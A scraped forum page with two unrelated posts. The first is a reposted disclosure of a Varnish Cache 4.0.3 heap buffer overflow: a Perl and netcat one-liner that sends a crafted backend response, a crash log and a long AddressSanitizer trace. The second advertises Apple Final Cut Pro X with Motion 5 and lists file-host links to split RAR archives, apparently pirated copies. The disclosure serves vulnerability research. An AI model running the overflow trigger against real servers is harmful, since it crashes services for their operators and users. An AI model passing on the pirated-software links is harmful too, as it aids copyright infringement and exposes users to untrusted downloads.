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Varnish Cache 4.03 Buffer Overflow
Aerosol posted a topic in ExploituriHi there, Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). Best regards, Filip Palian Akat1 Marek Kroemeke Source
Apple Final CUT Pro X 10.0.8 with Motion 5 v5.0.7 Mac OSX
apple2000 posted a topic in Programe utileApple Final Cut Pro X 10.0.8 with Motion 5 v5.0.7 Mac OSX Apple Final Cut Pro X 10.0.8 with Motion 5 v5.0.7 Mac OSX| 2.45 GB Description : Completely redesigned from the ground up, Final Cut Pro adds extraordinary speed, quality, and flexibility to every part of the post-production workflow. Make every effect special. A new interface designed especially for editors. Smart templates for making changes on the fly during editing. And easy-to-use motion graphics tools for creating eye-catching titles, transitions, and effects. Motion is the perfect companion to Final Cut Pro. Revolutionary Video Editing • Assemble clips in the Magnetic Timeline without clip collisions or sync problems • Use Clip Connections to attach B-roll, sound effects, and music to the timeline • Reduce clutter by grouping clips into a Compound Clip. Easily expand it back to single clips • Perfect your pacing right in the timeline with the Inline Precision Editor • Cycle through different shots, graphics, or effects at one place in the timeline with Auditions • Edit multi-camera projects with automatic sync and support for up to 64 camera angles Powerful Media Organization • Work natively with a broad range of formats including RED, AVCHD, H.264 from DSLRs, and more • Content Auto-Analysis captures camera metadata and analyzes shots in the background • Choose analysis options for stabilization, rolling shutter correction, and audio enhancement • Create and apply custom keywords on the fly as you select ranges in clips • Smart Collections let you dynamically organize content and find any shot in a few clicks Incredible Performance • New 64-bit architecture uses all the RAM in your system for larger projects and richer effects • Final Cut Pro taps the GPU on the graphics card and all the cores in your Mac for speed • Background processing lets you keep working without interruption • A ColorSync-managed color pipeline produces accurate, consistent color across applications • Broadcast quality monitoring lets you route video and audio through third-party PCIe and Thunderbolt I/O devices (Requires OS X v10.7.2) Compelling, Customizable Effects • Preview effects to see how they look with your footage before applying them • Change the look of titles, transitions, and effects using intuitive controls • Control effects with precision using a keyframe editor that appears directly in the timeline • Adjust the Ken Burns effect with simple onscreen arrows for start and end points Integrated Audio Editing • Expand and edit multichannel audio files directly in the timeline • Let Final Cut Pro repair significant audio problems such as hum, excessive noise, and more • Sync DSLR video with separate audio in a single step, with instant audio waveform matching • Enrich your soundtrack with a library of royalty-free sound effects and audio effect plug-ins Intuitive Color Grading • Improve the look of any clip with the single-click Balance Color feature • Apply the Match Color feature to match the looks of two clips shot under different conditions • Manipulate color, saturation, and exposure with the Color Board • Fine tune color for a specific color range or area of the screen using keying and masks One-Step, Optimized Output • Deliver projects for playback on Apple devices and websites such as Vimeo, YouTube, and Facebook • Use themed menus to quickly author and burn a DVD or Blu-ray disc • Export customized audio and video stems using Roles metadata • Import and export XML to support third-party workflows What's New in Version 10.0.8 • Support for Sony XAVC codec up to 4K resolution • Option to display ProRes Log C files from ARRI ALEXA cameras with standard Rec. 709 color and contrast levels • Resolves an issue where some third-party effects generated green frames during render • Resolves performance issues that could occur with certain titles and effects • Time reversed clips render in the background • Ability to use key commands to adjust Clip Appearance settings in the timeline • Ability to view reel number metadata located in the timecode track of video files • Mono audio files in a surround project export with correct volume levels • Drop zones no longer reset to the first frame of video after application restart • Fixes a performance issue which resulted from selecting multiple ranges on a single clip • Fixes an issue where the Play Around function did not work properly on certain clips when viewed through external video devices Motion 5.0.7 This update improves overall stability, performance, and compatibility. Updates include: -Resolves an issue where some third-party effects generated green frames during render -Fixes a stability issue when splitting layers in the timeline -Fixes an issue where launching a plug-in with a check box could require multiple clicks -Fixes a stability issue with CoreMelt plug-ins This update is recommended for all users of Motion. System Requirements: 2GB of RAM (4GB recommended), OpenCL-capable graphics card or Intel HD Graphics 3000 or later, 256MB of VRAM (512MB of VRAM recommended), display with 1280-by-768 resolution or higher, 2.4GB of disk space. OS X v10.6.8 or OS X v10.7.5 or OS X v10.8.3 or later. Broadcast quality monitoring requires OS X v10.7.5 or later and compatible third-party device. Some features require Internet access; additional fees may apply. Blu-ray recorder required for burning Blu-ray discs. DOWNLOAD LINKS: http://u19822771.letitbit.net/download/81345.8e42daba1bc25da90ebca2c03d6f/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part1.rar.html http://u19822771.letitbit.net/download/78976.76cf5f098b6b94b8d7a14f7853f3/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part2.rar.html http://u19822771.letitbit.net/download/19488.1f518ab7fcc2d02c5bd5c7aaf830/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part3.rar.html http://rapidgator.net/file/7f92b8eff19676ad4bbc0e71a1fcaa49/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part1.rar.html http://rapidgator.net/file/0e542f8f55dcb6cfa1326d71951fb619/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part2.rar.html http://rapidgator.net/file/44f9801d7cb6a4483da6343a024d5274/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part3.rar.html http://www.uploadable.ch/file/bsjfsEe4bwDG/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part1.rar http://www.uploadable.ch/file/YUdqbztJwGb3/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part2.rar http://www.uploadable.ch/file/JwbwDfURwqWf/118.Final.Cut.Pro.X.10.0.8.with.Motionv5.0.7.part3.rar